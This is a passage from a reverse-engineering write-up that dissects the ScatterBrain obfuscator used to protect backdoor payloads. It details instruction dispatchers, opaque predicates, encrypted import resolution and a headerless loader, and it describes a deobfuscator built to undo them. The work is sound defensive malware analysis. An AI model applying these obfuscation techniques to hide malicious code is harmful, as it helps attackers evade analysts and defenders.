.text:180001000 sub rsp, 28h .text:180001004 mov rcx, cs:g_Imagebase .text:18000100B call PROTECTED_FUNCTION ; call to protected func .text:180001010 mov ecx, eax .text:180001012 call cs:ExitProcess

Figure 1: Disassembly of a call to a protected function

The start of the protected function:

.text:180001039 PROTECTED_FUNCTION .text:180001039 jmp loc_18000DF97 ; jmp into obfuscated code .text:180001039 sub_180001039 endp .text:000000018000103E db 48h ; H. ; garbage data .text:000000018000103F db 0FFh .text:0000000180001040 db 0C1h

Figure 2: Disassembly inside of a protected function

The "end marker" consists of two sets of padding instructions, an int3 instruction and a single multi-nop instruction:

END_MARKER: .text:18001A95C CC CC CC CC CC CC CC CC CC CC 66 66 0F 1F 84 00 00 00 00 00 .text:18001A95C int 3 .text:18001A95D int 3 .text:18001A95E int 3 .text:18001A95F int 3 .text:18001A960 int 3 .text:18001A961 int 3 .text:18001A962 int 3 .text:18001A963 int 3 .text:18001A964 int 3 .text:18001A965 int 3 .text:18001A966 db 66h, 66h ; @NOTE: IDA doesn't disassemble properly .text:18001A966 nop word ptr [rax+rax+00000000h] ; ------------------------------------------------------------------------- ; next, original function .text:18001A970 ; [0000001F BYTES: COLLAPSED FUNCTION __security_check_cookie. PRESS CTRL-NUMPAD+ TO EXPAND]

Figure 3: Disassembly listing of an end marker

Complete

The complete mode protects every function within the .text section of the binary, with all protections integrated directly into a single code section. There are no end markers to signify protected regions; instead, every function is uniformly protected, ensuring comprehensive coverage without additional sectioning.

This mode forces the need for some kind of deobfuscation tooling. Whereas selective mode only protects the selected functions and leaves everything else in its original state, this mode makes the output binary extremely difficult to analyze without accounting for the obfuscation.

Complete Headerless

This complete mode extends the complete approach to add further data obfuscations alongside the code protections. It is the most comprehensive mode of protection and was observed to be exclusively limited to the final payloads of an attack chain. It incorporates the following properties:

• Full PE header of the protected binary is removed.

• Custom loading logic (a loader) is introduced.

• Becomes the entry point of the protected binary

• Responsible of ensuring the protected binary is functional

• Includes the option of mapping the final payload within a separate memory region distinct from the initial memory region it was loaded in

• Metadata is protected via hash-like integrity checks.

• The metadata is utilized by the loader as part of its initialization sequence.

• Import protection will require relocation adjustments.

• Done through an "import fixup table"

The loader’s entry routine crudely merges with the original entry of the binary by inserting multiple jmp instructions to bridge the two together. The following is what the entry point looks like after running our deobfuscator against a binary protected in headerless mode.

Figure 4: Deobfuscated loader entry

The loader's metadata is stored in the .data section of the protected binary. It is found via a memory scan that applies bitwise XOR operations against predefined constants. The use of these not only locates the metadata but also serves a dual purpose of verifying its integrity. By checking that the data matches expected patterns when XORed with these constants, the loader ensures that the metadata has not been altered or tampered with.

Figure 5: Memory scan to identify the loader's metadata inside the .data section

The metadata contains the following (in order):

• Import fixup table (fully explained in the Import Protection section)

• Integrity-hash constants

• Relative virtual address (RVA) of the .data section

• Offset to the import fixup table from the start of the .data section

• Size, in bytes, of the fixup table

• Global pointer to the memory address that the backdoor is at

• Encrypted and compressed data specific to the backdoor

• Backdoor config and plugins

Figure 6: Loader's metadata

Core Protection Components Instruction Dispatcher

The instruction dispatcher is the central protection component that transforms the natural control flow of a binary (or individual function) into scattered basic blocks that end with a unique dispatcher routine that dynamically guides the execution of the protected binary.

Figure 7: Illustration of the control flow instruction dispatchers induce

Each call to a dispatcher is immediately followed by a 32-bit encoded displacement positioned at what would normally be the return address for the call. The dispatcher decodes this displacement to calculate the destination target for the next group of instructions to execute. A protected binary can easily contain thousands or even tens of thousands of these dispatchers making manual analysis of them practically infeasible. Additionally, the dynamic dispatching and decoding logic employed by each dispatcher effectively disrupts CFG reconstruction methods used by all binary analysis frameworks.

The decoding logic is unique for each dispatcher and is carried out using a combination of add, sub, xor, and, or, and lea instructions. The decoded offset value is then either subtracted from or added to the expected return address of the dispatcher call to determine the final destination address. This calculated address directs execution to the next block of instructions, which will similarly end with a dispatcher that uniquely decodes and jumps to subsequent instruction blocks, continuing this process iteratively to control the program flow.

The following screenshot illustrates what a dispatcher instance looks like when constructed in IDA Pro. Notice the scattered addresses present even within instruction dispatchers, which result from the obfuscator transforming fallthrough instructions—instructions that naturally follow the preceding instruction—into pairs of conditional branches that use opposite conditions. This ensures that one branch is always taken, effectively creating an unconditional jump. Additionally, a mov instruction that functions as a no-op is inserted to split these branches, further obscuring the control flow.

Figure 8: Example of an instruction dispatcher and all of its components

The core logic for any dispatcher can be categorized into the following four phases:

1. Preservation of Execution Context
   • Each dispatcher selects a single working register (e.g., RSI as depicted in the screenshot) during the obfuscation process. This register is used in conjunction with the stack to carry out the intended decoding operations and dispatch. 
   • The RFLAGS register in turn is safeguarded by employing pushfq and popfq instructions before carrying out the decoding sequence.
2. Retrieval of Encoded Displacement
   • Each dispatcher retrieves a 32-bit encoded displacement located at the return address of its corresponding call instruction. This encoded displacement serves as the basis for determining the next destination address.
3. Decoding Sequence
   • Each dispatcher employs a unique decoding sequence composed of the following arithmetic and logical instructions: xor, sub, add, mul, imul, div, idiv, and, or, and not. This variability ensures that no two dispatchers operate identically, significantly increasing the complexity of the control flow.
4. Termination and Dispatch
   • The ret instruction is strategically used to simultaneously signal the end of the dispatcher function and redirect the program's control flow to the previously calculated destination address.

It is reasonable to infer that the obfuscator utilizes a template similar to the one illustrated in Figure 9 when applying its transformations to the original binary:

Figure 9: Instruction dispatcher template

Opaque Predicates

ScatterBrain uses a series of seemingly trivial opaque predicates (OP) that appear straightforward to analysts but significantly challenge contemporary binary analysis frameworks, especially when used collectively. These opaque predicates effectively disrupt static CFG recovery techniques not specifically designed to counter their logic. Additionally, they complicate symbolic execution approaches as well by inducing path explosions and hindering path prioritization. In the following sections, we will showcase a few examples produced by ScatterBrain.

test OP

This opaque predicate is constructed around the behavior of the test instruction when paired with an immediate zero value. Given that the test instruction effectively performs a bitwise AND operation, the obfuscator exploits the fact that any value bitwise AND-ed with zero always invariably results in zero.

Here are some abstracted examples we can find in a protected binary—abstracted in the sense that all instructions are not guaranteed to follow one another directly; other forms of mutations can be between them as can instruction dispatchers.

test bl, 0 jnp loc_56C96 ; we never satisfy these conditions ------------------------------ test r8, 0 jo near ptr loc_3CBC8 ------------------------------ test r13, 0 jnp near ptr loc_1A834 ------------------------------ test eax, 0 jnz near ptr loc_46806

Figure 10: Test opaque predicate examples

To grasp the implementation logic of this opaque predicate, the semantics of the test instruction and its effects on the processor's flags register are required. The instruction can affect six different flags in the following manner:

• Overflow Flag (OF): Always cleared

• Carry Flag (CF): Always cleared

• Sign Flag (SF): Set if the most significant bit (MSB) of the result is set; otherwise cleared

• Zero Flag (ZF): Set if the result is 0; otherwise cleared

• Parity Flag (PF): Set if the number of set bits in the least significant byte (LSB) of the result is even; otherwise cleared

• Auxiliary Carry Flag (AF): Undefined

Applying this understanding to the sequences produced by ScatterBrain, it is evident that the generated conditions can never be logically satisfied:

Sequence

Condition Description

test <reg>, 0; jo

OF is always cleared

test <reg>, 0; jnae/jc/jb

CF is always cleared

test <reg>, 0; js

Resulting value will always be zero; therefore, SF can never be set

test <reg>, 0; jnp/jpo

The number of bits in zero is always zero, which is an even number; therefore, PF can never be set

test <reg>, 0; jne/jnz

Resulting value will always be zero; therefore, ZF will always be set

Table 1: Test opaque predicate understanding

jcc OP

The opaque predicate is designed to statically obscure the original immediate branch targets for conditional branch (jcc) instructions. Consider the following examples:

test eax, eax ja loc_3BF9C ja loc_2D154 test r13, r13 jns loc_3EA84 jns loc_53AD9 test eax, eax jnz loc_99C5 jnz loc_121EC cmp eax, FFFFFFFF jz loc_273EE jz loc_4C227

Figure 11: jcc opaque predicate examples

The implementation is straightforward: each original jcc instruction is duplicated with a bogus branch target. Since both jcc instructions are functionally identical except for their respective branch destinations, we can determine with certainty that the first jcc in each pair is the original instruction. This original jcc dictates the correct branch target to follow when the respective condition is met, while the duplicated jcc serves to confuse analysis tools by introducing misleading branch paths.

Stack-Based OP

The stack-based opaque predicate is designed to check whether the current stack pointer (rsp) is below a predetermined immediate threshold—a condition that can never be true. It is consistently implemented by pairing the cmp rsp instruction with a jb (jump if below) condition immediately afterward.

cmp rsp, 0x8d6e jb near ptr unk_180009FDA

Figure 12: Stack-based opaque predicate example

This technique inserts conditions that are always false, causing CFG algorithms to follow both branches and thereby disrupt their ability to accurately reconstruct the control flow.

Import Protection

The obfuscator implements a sophisticated import protection layer. This mechanism conceals the binary 's dependencies by transforming each original call or jmp instruction directed at an import through a unique stub dispatcher routine that knows how to dynamically resolve and invoke the import in question.

Figure 13: Illustration of all the components involved in the import protection

It consists of the following components:

• Import-specific encrypted data: Each protected import is represented by a unique dispatcher stub and a scattered data structure that stores RVAs to both the encrypted dynamic-link library (DLL) and application programming interface (API) names. We refer to this structure as obf_imp_t. Each dispatcher stub is hardcoded with a reference to its respective obf_imp_t.

• Dispatcher stub: This is an obfuscated stub that dynamically resolves and invokes the intended import. While every stub shares an identical template, each contains a unique hardcoded RVA that identifies and locates its corresponding obf_imp_t.

• Resolver routine: Called from the dispatcher stub, this obfuscated routine resolves the import and returns it to the dispatcher, which facilitates the final call to the intended import. It begins by locating the encrypted DLL and API names based on the information in obf_imp_t. After decrypting these names, the routine uses them to resolve the memory address of the API.

• Import decryption routine: Called from the resolver routine, this obfuscated routine is responsible for decrypting the DLL and API name blobs through a custom stream cipher implementation. It uses a hardcoded 32-bit salt that is unique per protected sample.

• Fixup Table: Present only in headerless mode, this is a relocation fixup table that the loader in headerless mode uses to correct all memory displacements to the following import protection components:

• Encrypted DLL names

• Encrypted API names

• Import dispatcher references

Dispatcher Stub

The core of the import protection mechanism is the dispatcher stub. Each stub is tailored to an individual import and consistently employs a lea instruction to access its respective obf_imp_t, which it passes as the only input to the resolver routine.

push rcx ; save RCX lea rcx, [rip+obf_imp_t] ; fetch import-specific obf_imp_t push rdx ; save all other registers the stub uses push r8 push r9 sub rsp, 28h call ObfImportResolver ; resolve the import and return it in RAX add rsp, 28h pop r9 ; restore all saved registers pop r8 pop rdx pop rcx jmp rax ; invoke resolved import

Figure 14: Deobfuscated import dispatcher stub

Each stub is obfuscated through the mutation mechanisms outlined earlier. This applies to the resolver and import decryption routines as well. The following is what the execution flow of a stub can look like. Note the scattered addresses that while presented sequentially are actually jumping all around the code segment due to the instruction dispatchers.

0x01123a call InstructionDispatcher_TargetTo_11552 0x011552 push rcx 0x011553 call InstructionDispatcher_TargetTo_5618 0x005618 lea rcx, [rip+0x33b5b] ; fetch obf_imp_t 0x00561f call InstructionDispatcher_TargetTo_f00c 0x00f00c call InstructionDispatcher_TargetTo_191b5 0x0191b5 call InstructionDispatcher_TargetTo_1705a 0x01705a push rdx 0x01705b call InstructionDispatcher_TargetTo_05b4 0x0105b4 push r8 0x0105b6 call InstructionDispatcher_TargetTo_f027 0x00f027 push r9 0x00f029 call InstructionDispatcher_TargetTo_18294 0x018294 test eax, 0 0x01829a jo 0xf33c 0x00f77b call InstructionDispatcher_TargetTo_e817 0x00e817 sub rsp, 0x28 0x00e81b call InstructionDispatcher_TargetTo_a556 0x00a556 call 0x6afa (ObfImportResolver) 0x00a55b call InstructionDispatcher_TargetTo_19592 0x019592 test ah, 0 0x019595 call InstructionDispatcher_TargetTo_a739 0x00a739 js 0x1935 0x00a73b call InstructionDispatcher_TargetTo_6eaa 0x006eaa add rsp, 0x28 0x006eae call InstructionDispatcher_TargetTo_6257 0x006257 pop r9 0x006259 call InstructionDispatcher_TargetTo_66d6 0x0066d6 pop r8 0x0066d8 call InstructionDispatcher_TargetTo_1a3cb 0x01a3cb pop rdx 0x01a3cc call InstructionDispatcher_TargetTo_67ab 0x0067ab pop rcx 0x0067ac call InstructionDispatcher_TargetTo_6911 0x006911 jmp rax

Figure 15: Obfuscated import dispatcher stub

Resolver Logic

obf_imp_t is the central data structure that contains the relevant information to resolve each import. It has the following form:

struct obf_imp_t { // sizeof=0x18 uint32_t CryptDllNameRVA; // NOTE: will be 64-bits, due to padding uint32_t CryptAPINameRVA; // NOTE: will be 64-bits, due to padding uint64_t ResolvedImportAPI; // Where the resolved address is stored };

Figure 16: obf_imp_t in its original C struct source form

It is processed by the resolver routine, which uses the embedded RVAs to locate the encrypted DLL and API names, decrypting each in turn. After decrypting each name blob, it uses LoadLibraryA to ensure the DLL dependency is loaded in memory and leverages GetProcAddress to retrieve the address of the import.

Fully decompiled ObfImportResolver:

Figure 17: Fully decompiled import resolver routine

Import Encryption Logic

The import decryption logic is implemented using a Linear Congruential Generator (LCG) algorithm to generate a pseudo-random key stream, which is then used in a XOR-based stream cipher for decryption. It operates on the following formula:

Xn + 1 = (a • Xn + c) mod 232

where:

• a is always hardcoded to 17 and functions as the multiplier

• c is a unique 32-bit constant determined by the encryption context and is unique per-protected sample

• We refer to it as the imp_decrypt_const

• mod 232 confines the sequence values to a 32-bit range

The decryption logic initializes with a value from the encrypted data and iteratively generates new values using the outlined LCG formula. Each iteration produces a byte derived from the calculated value, which is then XOR'ed with the corresponding encrypted byte. This process continues byte-by-byte until it reaches a termination condition.

A fully recovered Python implementation for the decryption logic is provided in Figure 18.

Figure 18: Complete Python implementation of the import string decryption routine

Import Fixup Table

The import relocation fixup table is a fixed-size array composed of two 32-bit RVA entries. The first RVA represents the memory displacement of where the data is referenced from. The second RVA points to the actual data in question. The entries in the fixup table can be categorized into three distinct types, each corresponding to a specific import component:

• Encrypted DLL names

• Encrypted API names

• Import dispatcher references

Figure 19: Illustration of the import fixup table

The location of the fixup table is determined by the loader's metadata, which specifies an offset from the start of the .data section to the start of the table. During initialization, the loader is responsible for applying the relocation fixups for each entry in the table.

Figure 20: Loader metadata that shows the Import fixup table entries and metadata used to find it

Recovery

Effective recovery from an obfuscated binary necessitates a thorough understanding of the protection mechanisms employed. While deobfuscation often benefits from working with an intermediate representation (IR) rather than the raw disassembly—an IR provides more granular control in undoing transformations—this obfuscator preserves the original compiled code, merely enveloping it with additional protection layers. Given this context, our deobfuscation strategy focuses on stripping away the obfuscator's transformations from the disassembly to reveal the original instructions and data. This is achieved through a series of hierarchical phases, where each subsequent phase builds upon the previous one to ensure comprehensive deobfuscation.

We categorize this approach into three distinct categories that we eventually integrate:

1. CFG Recovery

• Restoring the natural control flow by removing obfuscation artifacts at the instruction and  basic block levels. This involves two phases:

• Accounting for instruction dispatchers: Addressing the core of control flow protection that obscure the execution flow

• Function identification and recovery: Cataloging scattered instructions and reassembling them into their original function counterparts

2. Import Recovery

• Original Import Table: The goal is to reconstruct the original import table, ensuring that all necessary library and function references are accurately restored.

3. Binary Rewriting

• Generating Deobfuscated Executables: This process entails creating a new, deobfuscated executable that maintains the original functionality while removing ScatterBrain's modifications.

Given the complexity of each category, we concentrate on the core aspects necessary to break the obfuscator by providing a guided walkthrough of our deobfuscator's source code and highlighting the essential logic required to reverse these transformations. This step-by-step examination demonstrates how each obfuscation technique is methodically undone, ultimately restoring the binary's original structure.

Our directory structure reflects this organized approach:

+---helpers | | emu64.py | | pefile_utils.py | |--- x86disasm.py | \---recover | recover_cfg.py | recover_core.py | recover_dispatchers.py | recover_functions.py | recover_imports.py |--- recover_output64.py

Figure 21: Directory structure of our deobfuscator library

This comprehensive recovery process not only restores the binaries to their original state but also equips analysts with the tools and knowledge necessary to combat similar obfuscation techniques in the future.

CFG Recovery

The primary obstacle disrupting the natural control flow graph is the use of instruction dispatchers. Eliminating these dispatchers is our first priority in obtaining the CFG. Afterward, we need to reorganize the scattered instructions back into their original function representations—a problem known as function identification, which is notoriously difficult to generalize. Therefore, we approach it using our specific knowledge about the obfuscator.

Linearizing the Scattered CFG

Our initial step in recovering the original CFG is to eliminate the scattering effect induced by instruction dispatchers. We will transform all dispatcher call instructions into direct branches to their resolved targets. This transformation linearizes the execution flow, making it straightforward to statically pursue the second phase of our CFG recovery. This will be implemented via brute-force scanning, static parsing, emulation, and instruction patching.

Function Identification and Recovery

We leverage a recursive descent algorithm that employs a depth-first search (DFS) strategy applied to known entry points of code, attempting to exhaust all code paths by "single-stepping" one instruction at a time. We add additional logic to the processing of each instruction in the form of "mutation rules" that stipulate how each individual instruction needs to be processed. These rules aid in stripping away the obfuscator's code from the original.

Removing Instruction Dispatchers

Eliminating instruction dispatchers involves identifying each dispatcher location and its corresponding dispatch target. Recall that the target is a uniquely encoded 32-bit displacement located at the return address of the dispatcher call. To remove instruction dispatchers, it is essential to first understand how to accurately identify them. We begin by categorizing the defining properties of individual instruction dispatchers:

• Target of a Near Call
  • Dispatchers are always the destination of a near call instruction, represented by the E8 opcode followed by a 32-bit displacement.
• References Encoded 32-Bit Displacement at Return Address
  • Dispatchers reference the encoded 32-bit displacement located at the return address on the stack by performing a 32-bit read from the stack pointer. This displacement is essential for determining the next execution target.
• Pairing of pushfq and popfq Instructions to Safeguard Decoding
  • Dispatchers use a pair of pushfq and popfq instructions to preserve the state of the RFLAGS register during the decoding process. This ensures that the dispatcher does not alter the original execution context, maintaining the integrity of register contents.
• End with a ret Instruction
  • Each dispatcher concludes with a ret instruction, which not only ends the dispatcher function but also redirects control to the next set of instructions, effectively continuing the execution flow.

Leveraging the aforementioned categorizations, we implement the following approach to identify and remove instruction dispatchers:

1. Brute-Force Scanner for Near Call Locations

• Develop a scanner that searches for all near call instructions within the code section of the protected binary. This scanner generates a huge array of potential call locations that may serve as dispatchers.

2. Implementation of a Fingerprint Routine

• The brute-force scan yields a large number of false positives, requiring an efficient method to filter them. While emulation can filter out false positives, it is computationally expensive to do it for the brute-force results.

• Introduce a shallow fingerprinting routine that traverses the disassembly of each candidate to identify key dispatcher characteristics, such as the presence of pushfq and popfq sequences. This significantly improves performance by eliminating most false positives before concretely verifying them through emulation.

3. Emulation of Targets to Recover Destinations

• Emulate execution starting from each verified call site to accurately recover the actual dispatch targets. Emulating from the call site ensures that the emulator processes the encoded offset data at the return address, abstracting away the specific decoding logic employed by each dispatcher.

• A successful emulation also serves as the final verification step to confirm that we have identified a dispatcher.

4. Identification of Dispatch Targets via ret Instructions

• Utilize the terminating ret instruction to accurately identify the dispatch target within the binary.

• The ret instruction is a definitive marker indicating the end of a dispatcher function and the point at which control is redirected, making it a reliable indicator for target identification.

Brute-Force Scanner

The following Python code implements the brute-force scanner, which performs a comprehensive byte signature scan within the code segment of a protected binary. The scanner systematically identifies all potential call instruction locations by scanning for the 0xE8 opcode associated with near call instructions. The identified addresses are then stored for subsequent analysis and verification.

Figure 22: Python implementation of the brute-force scanner

Fingerprinting Dispatchers

The fingerprinting routine leverages the unique characteristics of instruction dispatchers, as detailed in the Instruction Dispatchers section, to statically identify potential dispatcher locations within a protected binary. This identification process utilizes the results from the prior brute-force scan. For each address in this array, the routine disassembles the code and examines the resulting disassembly listing to determine if it matches known dispatcher signatures.

This method is not intended to guarantee 100% accuracy, but rather serve as a cost-effective approach to identifying call locations with a high likelihood of being instruction dispatchers. Subsequent emulation will be employed to confirm these identifications.

1. Successful Decoding of a call Instruction

• The identified location must successfully decode to a call instruction. Dispatchers are always invoked via a call instruction. Additionally, dispatchers utilize the return address from the call site to locate their encoded 32-bit displacement.

2. Absence of Subsequent call Instructions

• Dispatchers must not contain any call instructions within their disassembly listing. The presence of any call instructions within a presumed dispatcher range immediately disqualifies the call location as a dispatcher candidate.

3. Absence of Privileged Instructions and Indirect Control Transfers

• Similarly to call instructions, the dispatcher cannot include privileged instructions or indirect unconditional jmps. Any presence of any such instructions invalidates the call location.

4. Detection of pushfq and popfq Guard Sequences

• The dispatcher must contain pushfq and popfq instructions to safeguard the RFLAGS register during decoding. These sequences are unique to dispatchers and suffice for a generic identification without worrying about the differences that arise between how the decoding takes place.

Figure 23 is the fingerprint verification routine that incorporates all the aforementioned characteristics and validation checks given a potential call location:

Figure 23: The dispatch fingerprint routine

Emulating Dispatchers to Resolve Destination Targets

After filtering potential dispatchers using the fingerprinting routine, the next step is to emulate them in order to recover their destination targets.

Figure 24: Emulation sequence used to recover dispatcher destination targets

The Python code in Figure 24 performs this logic and operates as follows:

• Initialization of the Emulator
  • Creates the core engine for simulating execution (EmulateIntel64), maps the protected binary image (imgbuffer) into the emulator's memory space, maps the Thread Environment Block (TEB) as well to simulate a realistic Windows execution environment, and creates an initial snapshot to facilitate fast resets before each emulation run without needing to reinitialize the entire emulator each time.
  • MAX_DISPATCHER_RANGE specifies the maximum number of instructions to emulate for each dispatcher. The value 45 is chosen arbitrarily, sufficient given the limited instruction count in dispatchers even with the added mutations.
  • A try/except block is used to handle any exceptions during emulation. It is assumed that exceptions result from false positives among the potential dispatchers identified earlier and can be safely ignored.
• Emulating Each Potential Dispatcher
  • For each potential dispatcher address (call_dispatch_ea), the emulator's context is restored to the initial snapshot. The program counter (emu.pc) is set to the address of each dispatcher. emu.stepi() executes one instruction at the current program counter, after which the instruction is analyzed to determine whether we have finished.
    • If the instruction is a ret, the emulation has reached the dispatch point.
    • The dispatch target address is read from the stack using emu.parse_u64(emu.rsp).
  • The results are captured by d.dispatchers_to_target, which maps the dispatcher address to the dispatch target. The dispatcher address is additionally stored in the d.dispatcher_locs lookup cache.
    • The break statement exits the inner loop, proceeding to the next dispatcher.

Patching and Linearization

After collecting and verifying every captured instruction dispatcher, the final step is to replace each call location with a direct branch to its respective destination target. Since both near call and jmp instructions occupy 5 bytes in size, this replacement can be seamlessly performed by merely patching the jmp instruction over the call.

Figure 25: Patching sequence to transform instruction dispatcher calls to unconditional jmps to their destination targets

We utilize the dispatchers_to_target map, established in the previous section, which associates each dispatcher call location with its corresponding destination target. By iterating through this map, we identify each dispatcher call location and replace the original call instruction with a jmp. This substitution redirects the execution flow directly to the intended target addresses.

This removal is pivotal to our deobfuscation strategy as it removes the intended dynamic dispatch element that instruction dispatchers were designed to provide. Although the code is still scattered throughout the code segment, the execution flow is now statically deterministic, making it immediately apparent which instruction leads to the next one.

When we compare these results to the initial screenshot from the Instruction Dispatcher section, the blocks still appear scattered. However, their execution flow has been linearized. This progress allows us to move forward to the second phase of our CFG recovery.

Figure 26: Linearized instruction dispatcher control flow

Function Identification and Recovery

By eliminating the effects of instruction dispatchers, we have linearized the execution flow. The next step involves assimilating the dispersed code and leveraging the linearized control flow to reconstruct the original functions that comprised the unprotected binary. This recovery phase involves several stages, including raw instruction recovery, normalization, and the construction of the final CFG.

Function identification and recovery is encapsulated in the following two abstractions:

• Recovered instruction (RecoveredInstr): The fundamental unit for representing individual instructions recovered from an obfuscated binary. Each instance encapsulates not only the raw instruction data but also metadata essential for relocation, normalization, and analysis within the CFG recovery process.

• Recovered function (RecoveredFunc): The end result of successfully recovering an individual function from an obfuscated binary. It aggregates multiple RecoveredInstr instances, representing the sequence of instructions that constitute the unprotected function. The complete CFG recovery process results in an array of RecoveredFunc instances, each corresponding to a distinct function within the binary. We will utilize these results in the final Building Relocations in Deobfuscated Binaries section to produce fully deobfuscated binaries.

We do not utilize a basic block abstraction for our recovery approach given the following reasons. Properly abstracting basic blocks presupposes complete CFG recovery, which introduces unnecessary complexity and overhead for our purposes. Instead, it is simpler and more efficient to conceptualize a function as an aggregation of individual instructions rather than a collection of basic blocks in this particular deobfuscation context.

Figure 27: RecoveredInstr type definition

Figure 28: RecoveredFunc type definition

DFS Rule-Guided Stepping Introduction

We opted for a recursive-depth algorithm given the following reasons:

• Natural fit for code traversal: DFS allows us to infer function boundaries based solely on the flow of execution. It mirrors the way functions call other functions, making it intuitive to implement and reason about when reconstructing function boundaries. It also simplifies following the flow of loops and conditional branches.
• Guaranteed execution paths: We concentrate on code that is definitely executed. Given we have at least one known entry point into the obfuscated code, we know execution must pass through it in order to reach other parts of the code. While other parts of the code may be more indirectly invoked, this entry point serves as a foundational starting point.
  • By recursively exploring from this known entry, we will almost certainly encounter and identify virtually all code paths and functions during our traversal.
• Adapts to instruction mutations: We tailor the logic of the traversal with callbacks or "rules" that stipulate how we process each individual instruction. This helps us account for known instruction mutations and aids in stripping away the obfuscator's code.

The core data structures involved in this process are the following: CFGResult, CFGStepState, and RuleHandler:

• CFGResult: Container for the results of the CFG recovery process. It aggregates all pertinent information required to represent the CFG of a function within the binary, which it primarily consumes from CFGStepState.
• CFGStepState: Maintains the state throughout the CFG recovery process, particularly during the controlled-step traversal. It encapsulates all necessary information to manage the traversal state, track progress, and store intermediate results.
  • Recovered cache: Stores instructions that have been recovered for a protected function without any additional cleanup or verification. This initial collection is essential for preserving the raw state of the instructions as they exist within the obfuscated binary before any normalization or validation processes are applied after. It is always the first pass of recovery.
  • Normalized cache: The final pass in the CFG recovery process. It transforms the raw instructions stored in the recovered cache into a fully normalized CFG by removing all obfuscator-introduced instructions and ensuring the creation of valid, coherent functions.
  • Exploration stack: Manages the set of instruction addresses that are pending exploration during the DFS traversal for a protected function. It determines the order in which instructions are processed and utilizes a visited set to ensure that each instruction is processed only once.
  • Obfuscator backbone: A mapping to preserve essential control flow links introduced by the obfuscator
• RuleHandler: Mutation rules are merely callbacks that adhere to a specific function signature and are invoked during each instruction step of the CFG recovery process. They take as input the current protected binary, CFGStepState, and the current step-in instruction. Each rule contains specific logic designed to detect particular types of instruction characteristics introduced by the obfuscator. Based on the detection of these characteristics, the rules determine how the traversal should proceed. For instance, a rule might decide to continue traversal, skip certain instructions, or halt the process based on the nature of the mutation.

Figure 29: CFGResult type definition

Figure 30: CFGStepState type definition

Figure 31: RuleHandler type definition

The following figure is an example of a rule that is used to detect the patched instruction dispatchers we introduced in the previous section and differentiating them from standard jmp instructions:

Figure 32: RuleHandler example that identifies patched instruction dispatchers and differentiates them from standard jmp instructions

DFS Rule-Guided Stepping Implementation

The remaining component is a routine that orchestrates the CFG recovery process for a given function address within the protected binary. It leverages the CFGStepState to manage the DFS traversal and applies mutation rules to decode and recover instructions systematically. The result will be an aggregate of RecoveredInstr instances that constitute the first pass of raw recovery:

Figure 33: Flow chart of our DFS rule-guided stepping algorithm

The following Python code directly implements the algorithm outlined in Figure 33. It initializes the CFG stepping state and commences a DFS traversal starting from the function's entry address. During each step of the traversal, the current instruction address is retrieved from the to_explore exploration stack and checked against the visited set to prevent redundant processing. The instruction at the current address is then decoded, and a series of mutation rules are applied to handle any obfuscator-induced instruction modifications. Based on the outcomes of these rules, the traversal may continue, skip certain instructions, or halt entirely.

Recovered instructions are appended to the recovered cache, and their corresponding mappings are updated within the CFGStepState. The to_explore stack is subsequently updated with the address of the next sequential instruction to ensure systematic traversal. This iterative process continues until all relevant instructions have been explored, culminating in a CFGResult that encapsulates the fully recovered CFG.

Figure 34: DFS rule-guided stepping algorithm Python implementation

Normalizing the Flow

With the raw instructions successfully recovered, the next step is to normalize the control flow. While the raw recovery process ensures that all original instructions are captured, these instructions alone do not form a cohesive and orderly function. To achieve a streamlined control flow, we must filter and refine the recovered instructions—a process we refer to as normalization. This stage involves several key tasks:

• Updating branch targets: Once all of the obfuscator-introduced code (instruction dispatchers and mutations) are fully removed, all branch instructions must be redirected to their correct destinations. The scattering effect introduced by obfuscation often leaves branches pointing to unrelated code segments.

• Merging overlapping basic blocks: Contrary to the idea of a basic block as a strictly single-entry, single-exit structure, compilers can produce code in which one basic block begins within another. This overlapping of basic blocks commonly appears in loop structures. As a result, these overlaps must be resolved to ensure a coherent CFG.

• Proper function boundary instruction: Each function must begin and end at well-defined boundaries within the binary's memory space. Correctly identifying and enforcing these boundaries is essential for accurate CFG representation and subsequent analysis.

Simplifying with Synthetic Boundary Jumps

Rather than relying on traditional basic block abstractions—which can impose unnecessary overhead—we employ synthetic boundary jumps to simplify CFG normalization. These artificial jmp instructions link otherwise disjointed instructions, allowing us to avoid splitting overlapping blocks and ensuring that each function concludes at a proper boundary instruction. This approach also streamlines our binary rewriting process when reconstructing the recovered functions into the final deobfuscated output binary.

Merging overlapping basic blocks and ensuring functions have proper boundary instructions amount to the same problem—determining which scattered instructions should be linked together. To illustrate this, we will examine how synthetic jumps effectively resolve this issue by ensuring that functions conclude with the correct boundary instructions. The exact same approach applies to merging basic blocks together.

Synthetic Boundary Jumps to Ensure Function Boundaries

Consider an example where we have successfully recovered a function using our DFS-based rule-guided approach. Inspecting the recovered instructions in the CFGState reveals a mov instruction as the final operation. If we were to reconstruct this function in memory as-is, the absence of a subsequent fallthrough instruction would compromise the function's logic.

Figure 35: Example of a raw recovery that does not end with a natural function boundary instruction

To address this, we introduce a synthetic jump whenever the last recovered instruction is not a natural function boundary (e.g., ret, jmp, int3).

Figure 36: Simple Python routine that identifies function boundary instructions

We determine the fallthrough address, and if it points to an obfuscator-introduced instruction, we continue forward until reaching the first regular instruction. We call this traversal "walking the obfuscator's backbone":

Figure 37: Python routine that implements walking the obfuscator's backbone logic

We then link these points with a synthetic jump. The synthetic jump inherits the original address as metadata, effectively indicating which instruction it is logically connected to.

Figure 38: Example of adding a synthetic boundary jmp to create a natural function boundary

Updating Branch Targets

After normalizing the control flow, adjusting branch targets becomes a straightforward process. Each branch instruction in the recovered code may still point to obfuscator-introduced instructions rather than the intended destinations. By iterating through the normalized_flow cache (generated in the next section), we identify branching instructions and verify their targets using the walk_backbone routine. 

This ensures that all branch targets are redirected away from the obfuscator's artifacts and correctly aligned with the intended execution paths. Notice we can ignore call instructions given that any non-dispatcher call instruction is guaranteed to always be legitimate and never part of the obfuscator's protection. These will, however, need to be updated during the final relocation phase outlined in the Building Relocations in Deobfuscated Binaries section. 

Once recalculated, we reassemble and decode the instructions with updated displacements, preserving both correctness and consistency.

Figure 39: Python routine responsible for updating all branch targets

Putting It All Together

Putting it all together, we developed the following algorithm that builds upon the previously recovered instructions, ensuring that each instruction, branch, and block is properly connected, resulting in a completely recovered and deobfuscated CFG for an entire protected binary. We utilize the recovered cache to construct a new, normalized cache. The algorithm employs the following steps:

1. Iterate Over All Recovered Instructions

• Traverse all recovered instructions produced from our DFS-based stepping approach.

2. Add Instruction to Normalized Cache

• For each instruction, add it to the normalized cache, which captures the results of the normalization pass.

3. Identify Boundary Instructions

• Determine whether the current instruction is a boundary instruction.

